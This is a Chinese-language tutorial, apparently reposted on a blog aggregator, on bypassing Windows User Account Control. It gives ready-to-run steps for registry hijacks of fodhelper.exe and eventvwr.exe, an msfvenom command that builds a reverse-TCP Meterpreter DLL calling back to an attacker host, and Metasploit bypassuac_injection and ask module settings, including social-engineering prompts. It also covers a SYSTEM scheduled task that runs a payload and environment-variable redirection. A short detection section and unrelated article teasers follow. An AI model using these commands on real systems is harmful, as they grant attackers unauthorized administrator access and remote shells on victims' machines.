Windows bypassUAC 提权技法详解(一)

引言

用户账户控制(User Account Control, 简称 UAC)是微软自 Windows Vista 起引入的一项安全功能,旨在通过要求用户在执行需要管理员权限的操作时进行确认,从而防止未经授权的系统更改。UAC 的设计初衷是提高系统安全性,防止恶意软件在未经用户许可的情况下篡改系统配置、安装软件或执行高权限操作。然而,对于安全研究人员、渗透测试人员来说,UAC 的存在可能成为权限提升过程中的一道障碍。因此,绕过 UAC(UAC Bypass)成为 Windows 权限提升领域的一个重要研究方向。

本文将详细探讨 Windows UAC 的工作原理、不同权限级别下管理员账户的行为,以及多种 UAC 绕过技术的实现方法和适用场景。


一、UAC 的工作原理与权限级别

1.1 UAC 的核心机制

UAC 的核心是通过强制执行权限分离和用户交互来限制未经授权的操作。当用户尝试执行需要管理员权限的操作(如修改系统文件、安装软件或运行特定管理工具)时,UAC 会触发以下行为:

  1. 权限验证:UAC 检查当前用户的权限级别。如果用户是普通用户,会要求输入管理员凭据;如果是 Administrators 组成员,则会弹出确认提示。
  2. 完整性级别(Integrity Level):Windows 使用完整性级别(Low、Medium、High)来区分进程的权限。普通进程默认运行在 Medium 完整性级别,而需要管理员权限的进程则运行在 High 完整性级别。UAC 确保只有通过验证的进程才能提升至 High 完整性级别。
  3. 自动提升(Auto-Elevation):某些微软签名的可执行文件(如 fodhelper.exeeventvwr.exe)被标记为“自动提升”,可以在特定条件下无需 UAC 提示直接运行在 High 完整性级别。这些特性常被 UAC 绕过技术利用。

1.2 UAC 的设置级别

UAC 的行为受系统设置影响,Windows 提供了四种 UAC 级别:

  1. 始终通知(Always Notify):最高级别,任何需要管理员权限的操作都会触发 UAC 提示,即使是 Administrators 组用户也需要确认。
  2. 仅在程序尝试更改计算机时通知(默认设置):仅在非微软签名的程序尝试执行高权限操作时提示,适用于大多数 Administrators 组用户。
  3. 仅在程序尝试更改计算机时通知(不调暗桌面):与默认设置类似,但不切换到安全桌面,安全性稍低。
  4. 从不通知(Never Notify):关闭 UAC,Administrators 组用户无需确认即可运行高权限操作,但仍需手动触发“以管理员身份运行”。

1.3 500 管理员账户与 Administrators 组用户

在 Windows 系统中,管理员账户分为两类:

  • 500 管理员账户(内置 Administrator):这是 Windows 系统默认的内置管理员账户(SID 以 S-1-5-21-*-500 结尾)。当 UAC 启用时,该账户在“从不通知”模式下可以直接以 High 完整性级别运行进程,无需 UAC 提示。通过工具如 psexec.exe,500 管理员账户可以直接提升至 SYSTEM 权限。例如:

    psexec.exe -i -accepteula -s cmd.exe
    

    上述命令使用 psexec.exe 启动一个 SYSTEM 权限的命令提示符。

  • Administrators 组用户:这些用户是 Administrators 组的成员,但受 UAC 管控。在默认或更高 UAC 设置下,运行高权限操作时会触发 UAC 提示。绕过 UAC 是此类用户提权的关键。


二、UAC 绕过技术的分类与实现

UAC 绕过技术通常利用 Windows 系统中的漏洞、可信执行路径或社会工程学手段来实现权限提升。以下是常见的 UAC 绕过方法,结合具体实现和适用场景进行分析。

2.1 自动提升可执行文件(Auto-Elevated Binaries)

许多 Windows 自带的可执行文件被标记为“自动提升”,可以在特定条件下无需 UAC 提示直接运行在 High 完整性级别。攻击者通过修改这些文件的执行路径或注册表配置,诱导系统执行恶意代码。常见的目标包括 fodhelper.exeeventvwr.exesdclt.exe

2.1.1 Fodhelper 绕过

fodhelper.exe 是一个用于管理 Windows 可选功能的工具,具备自动提升特性。攻击者可以通过修改注册表,劫持其执行路径以运行自定义命令。以下是一个典型的手动实现步骤:

  1. 检查权限

    whoami /all
    

    确认当前用户在 Administrators 组且处于 Medium 完整性级别。

  2. 修改注册表

    New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe"
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
    
  3. 触发执行

    Start-Process fodhelper.exe
    

此方法通过注册表劫持 ms-settings 的默认打开命令,使得 fodhelper.exe 执行时启动 cmd.exe 或其他恶意 payload,从而获得 High 完整性级别的进程。

2.1.2 Eventvwr 绕过

eventvwr.exe(事件查看器)是另一个自动提升的可执行文件,可通过修改注册表中的 mscfile 键来执行恶意命令。实现步骤如下:

  1. 确认自动提升特性

    strings64.exe -accepteula C:\Windows\System32\eventvwr.exe | findstr /i autoelevate
    

    验证 eventvwr.exe 是否支持自动提升(结果应包含 true)。

  2. 修改注册表

    reg add "HKCU\Software\Classes\mscfile\shell\open\command" /t REG_SZ /d "cmd.exe /c start C:\Path\To\payload.exe" /f
    
  3. 执行触发

    eventvwr.exe
    

完成后,eventvwr.exe 会启动指定的 payload.exe,获得高权限 shell。

2.2 DLL 劫持(DLL Hijacking)

DLL 劫持利用 Windows 的 DLL 加载顺序,诱导自动提升的程序加载恶意 DLL 文件,从而执行高权限代码。以下是一个典型案例:

  1. 寻找目标程序
    找到一个自动提升的程序(如 fodhelper.exe)并检查其依赖的 DLL 文件。例如,使用 Process Monitor 观察程序加载的 DLL。

  2. 创建恶意 DLL
    使用工具如 MSFvenom 生成恶意 DLL:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
    
  3. 放置恶意 DLL
    malicious.dll 放置在目标程序的搜索路径中(例如 C:\Windows\System32 的可写子目录)。

  4. 触发执行
    运行目标程序,加载恶意 DLL,从而获得高权限 shell。

DLL 劫持的优点是隐蔽性强,但需要目标程序存在 DLL 加载漏洞,且在高 UAC 级别(如“始终通知”)下可能失效。

2.3 环境变量操纵

通过修改环境变量(如 PATHwindir),攻击者可以重定向可信程序的执行路径。例如,修改 windir 环境变量以指向伪造的系统目录:

  1. 修改环境变量

    set windir=C:\Malicious
    
  2. 放置恶意文件
    C:\Malicious\System32 中放置伪造的 cmd.exe 或其他可执行文件。

  3. 触发可信程序
    运行一个依赖 windir 的自动提升程序(如 CDSSync 任务),诱导其加载恶意文件。

此方法在非“始终通知”级别下有效,但在高安全设置下可能被检测。

2.4 Metasploit 的 UAC 绕过模块

Metasploit 提供了多个 UAC 绕过模块,简化了提权过程。以下是两个常用模块的介绍:

2.4.1 exploit/windows/local/bypassuac_injection

此模块利用可信发布者证书通过进程注入绕过 UAC,生成一个无 UAC 提示的高权限 shell。使用步骤:

  1. 启动 Meterpreter 会话

    msfconsole
    use multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4444
    exploit
    
  2. 使用 bypassuac_injection 模块

    use exploit/windows/local/bypassuac_injection
    set SESSION 1
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4445
    exploit
    
  3. 结果
    模块会注入恶意代码到自动提升的进程中,生成一个高权限的 Meterpreter 会话。

2.4.2 exploit/windows/local/ask

在“始终通知”级别下,UAC 绕过变得困难,ask 模块通过社会工程学诱导用户点击 UAC 提示来提权。使用步骤:

  1. 启动 Meterpreter 会话(同上)。

  2. 使用 ask 模块

    use exploit/windows/local/ask
    set SESSION 1
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4446
    exploit
    
  3. 诱导用户交互
    模块会触发 UAC 提示,伪装为合法操作(如系统更新),诱导目标点击“确认”。

此方法依赖用户交互,适用于社会工程学场景,但成功率受目标警惕性影响。


三、不同 UAC 设置下的适用策略

3.1 非“始终通知”级别

在默认或较低 UAC 设置下,Administrators 组用户可以通过以下方法绕过 UAC:

  • 自动提升可执行文件:如 fodhelper.exeeventvwr.exe 等,利用注册表劫持快速提权。
  • DLL 劫持:利用 DLL 加载顺序漏洞,隐蔽性较高。
  • Metasploit 模块bypassuac_injection 等模块提供自动化提权方案。
  • 环境变量操纵:通过修改 windirPATH 实现路径重定向。

3.2 “始终通知”级别

在最高 UAC 级别下,绕过 UAC 通常需要用户交互,推荐策略包括:

  • Metasploit ask 模块:通过伪装合法提示诱导用户确认。
  • 社会工程学:利用伪装的更新提示或钓鱼邮件诱导用户点击 UAC 提示。
  • 计划任务:创建高权限计划任务,绕过 UAC 提示:
    schtasks /create /tn "MaliciousTask" /tr "C:\Path\To\payload.exe" /sc once /st 00:00 /ru SYSTEM
    schtasks /run /tn "MaliciousTask"
    

四、防御与检测 UAC 绕过

4.1 防御措施

  1. 启用“始终通知”级别:确保所有高权限操作都需要用户确认。
  2. 限制 Administrators 组成员:减少非必要管理员账户,降低提权风险。
  3. 监控注册表更改:关注 HKCU\Software\Classes 和环境变量相关键的修改。
  4. 使用安全软件:部署 EDR(如 Elastic Endpoint)检测 DLL 劫持和异常进程行为。

4.2 检测方法

  1. EQL 查询
    使用 Elastic Query Language(EQL)检测 DLL 劫持:

    sequence by host.id
    [file where event.action in ("creation", "overwrite", "rename", "modification") and process.name : "dllhost.exe"]
    [library where user.id : "S-1-5-18" and not (dll.code_signature.subject_name : "Microsoft *")]
    
  2. 监控自动提升进程
    检查 fodhelper.exeeventvwr.exe 等进程的异常子进程创建。

  3. 日志分析
    分析事件日志中的 UAC 相关条目,检测异常的权限提升行为。


五、总结

Windows UAC 绕过技术是权限提升领域的重要研究方向,对于安全研究和渗透测试具有重要意义。500 管理员账户在“从不通知”模式下可以直接提权至 SYSTEM,而 Administrators 组用户则需根据 UAC 设置选择合适的绕过方法。在非“始终通知”级别下,自动提升可执行文件、DLL 劫持和环境变量操纵是主流技术;在最高 UAC 级别下,社会工程学和 ask 模块成为主要手段。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95508.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCV ------图像基础处理(一)

在 OpenCV 的图像处理世界中,除了图像边框处理,还有一些基础且重要的函数和运算,它们在图像编辑、融合等场景中发挥着关键作用。下面我们就来详细介绍cv2.copyMakeBorder()函数的具体参数与作用,以及图像加法运算和加权运算的相关…

Unity宝箱随机事件实现指南

目录 前言 一、简单的使用 新增ChestInteractableEvents,定义宝箱交互事件 新增Box 箱子挂载脚本,配置事件 运行效果 二、完善各种事件 1. 完善生成金币事件 效果,金币飞出 2. 完善生成敌人事件敌人 效果 3. 完善生成药水事件 效…

从单机到分布式:用飞算JavaAI构建可扩展的TCP多人聊天系统

1. 引言:飞算JavaAI与实时通信技术的融合 1.1 为什么需要TCP多人聊天室? 在即时通讯领域,基于TCP协议的聊天室是理解网络编程核心概念的经典案例,其技术价值体现在: 底层协议控制:直接操作Socket实现可靠数…

用 mock 把 ES 单元测试@elastic/elasticsearch-mock 上手

一、为什么“单元测 ES”这么别扭? 测试 ES 代码时,最直觉的做法是连真集群做集成测试(Docker 起个 ES),但: 启动 & 数据装填慢,不利于并行;网络/磁盘抖动影响稳定性&#xff1b…

《嵌入式Linux应用编程(三):Linux文件IO系统调用深度解析》

今日学习内容1. 文件IO与标准IO核心对比特性标准IO文件IO实现层C标准库Linux内核系统调用缓冲机制全缓冲/行缓冲无缓冲(实时读写)操作对象FILE*流指针整型文件描述符(fd)移植性跨平台兼容Linux特有典型应用场景普通文件操作硬件设…

数据结构之顺序表相关算法题

目录一、移除元素二、删除有序数组中的重复项三、合并两个有序数组总结一、移除元素 移除元素 - 力扣 思路一:就是创建一个临时数组,对原数组进行遍历,找出与val不同的数据放到新数组里,然后再将tmp中的数据导回原数组 这个思…

百胜软件×华为云联合赋能,“超级国民品牌”海澜之家新零售加速前行

报道显示,早在2012年海澜之家就开始布局数字化征程,并于近年对公司全流程信息化进行综合重构升级优化,在采销协同、业财一体等方面突破原有架构,通过信息化架构的增强为业务发展提供支撑。作为新零售重要组成部分的海澜电商信息化…

“Zen 5”: The AMD High-Performance 4nm x86-64 Microprocessor Core

Codenamed “Zen 5,” AMD’s next-generation, energy-efficient high-performance x86 core targets a wide array of client, server, and embedded markets. Fabricated in TSMC’s 4nm FinFET process, the 55mm2 core complex (CCX), shown in Fig. 2.1.1., contains 8.6…

Linux数据库:【表的约束】【表的基本查询】

目录 一.表的约束 1.1空属性 not null 1.2默认值 default ​空属性和默认值一起使用? 1.3列描述 comment 1.4 zerofill 1.5 主键 1.6 自增长 1.7 唯一键 1.8 外键 二. 表的基本查询 2.1 Create 2.1.1单行数据 全列插入 2.1.2多行数据 指定列插入 2…

AJAX RSS Reader

AJAX RSS Reader 引言 随着互联网的快速发展,信息量的爆炸式增长,用户对信息获取的便捷性和实时性提出了更高的要求。RSS(Really Simple Syndication)作为一种信息聚合技术,已经广泛应用于新闻、博客、论坛等网络平台。AJAX(Asynchronous JavaScript and XML)技术则提…

从实验室到落地:飞算JavaAI水位监测系统的工程化实践

一、飞算JavaAI平台简介飞算JavaAI是国内领先的软件开发智能平台,通过AI技术赋能软件开发全流程,帮助开发者实现"一人一项目,十人抵百人"的高效开发模式。平台核心优势包括: 智能代码生成:基于自然语言描述自…

前端Vite介绍(现代化前端构建工具,由尤雨溪开发,旨在显著提升开发体验和构建效率)ES模块(ESM)、与传统Webpack对比、Rollup打包

文章目录**1. 核心特性**- **极速启动**:- **按需编译与热模块替换(HMR)**:- **开箱即用**:- **生产环境优化**:- **插件系统**:**2. 工作原理****开发模式**- **基于 ESM 的按需加载**&#xf…

python sqlite3模块

十分想念顺店杂可。。。Python 的sqlite3模块是标准库中用于操作SQLite 数据库的工具。SQLite 是一款轻量级嵌入式数据库(无需独立服务器,数据存储在单一文件中),适合小型应用、本地数据存储或原型开发。sqlite3模块提供了完整的 …

用 Python 绘制企业年度财务可视化报告 —— 从 Excel 到 9 种图表全覆盖

用 Python 绘制企业年度财务可视化报告 —— 从 Excel 到 9 种图表全覆盖在企业经营分析中,光看一堆财务数字很难直观发现规律和问题。 如果能将这些数据转化为可视化图表,不仅更美观,还能帮助管理层快速做出决策。今天,我就用 Py…

一次 Unity ↔ Android 基于 RSA‑OAEP 的互通踩坑记

这篇分享,记录我如何从“Base64 报错/平台不支持/解密失败”一路定位到“填充算法不一致”的根因,并给出两条稳定落地方案。同时整理了调试手册、代码片段和上线前自检清单,方便你复用。 背景 Unity 端用公钥加密一段紧凑 JSON(i…

Go语言GC机制:高效并发回收解析

Go 语言的垃圾回收(Garbage Collection,简称 GC)是其自动内存管理的核心机制,旨在自动识别并回收不再被使用的内存,避免内存泄漏,减轻开发者的手动内存管理负担。Go 的 GC 算法经历了多次迭代优化&#xff…

imx6ull-驱动开发篇23——Linux 内核定时器实验

目录 实验程序编写 修改设备树文件 定时器驱动程序 timer.c 测试 timerApp.c Makefile 文件 运行测试 实验程序编写 本讲实验,我们使用正点原子I.MX6U-ALPHA 开发板,通过linux内核定时器周期性的点亮和熄灭开发板上的 LED 灯, LED 灯…

IPTV系统:开启视听与管理的全新篇章

在当今数字化飞速发展的时代,IPTV系统正以前所未有的姿态,重塑着我们的视听体验与管理模式。它不仅仅是一套技术系统,更是连接信息、沟通情感、提升效率的桥梁,为各个领域带来了全新的变革与发展机遇。从电视直播的角度来看&#…

PyTorch笔记9----------Cifar10图像分类

1.图像分类网络模型框架解读 分类网络的基本结构 数据加载模块:对训练数据加载数据重组:组合成网络需要的形式,例如预处理、增强、各种网络处理、loss函数计算优化器 数据加载模块 使用公开数据集:torchvision.datasets使用自定义…

飞凌OK3568开发板QT应用程序编译流程

飞凌OK3568开发板QT应用程序编译流程开发环境:ubuntu20.04(主机)、飞凌OK3568开发板一般在linux系统下开发用于ARM开发板的QT应用程序时,直接在主机上开发然后进行交叉编译即可,但有时候ARM开发板的厂家提供的SDK中可能…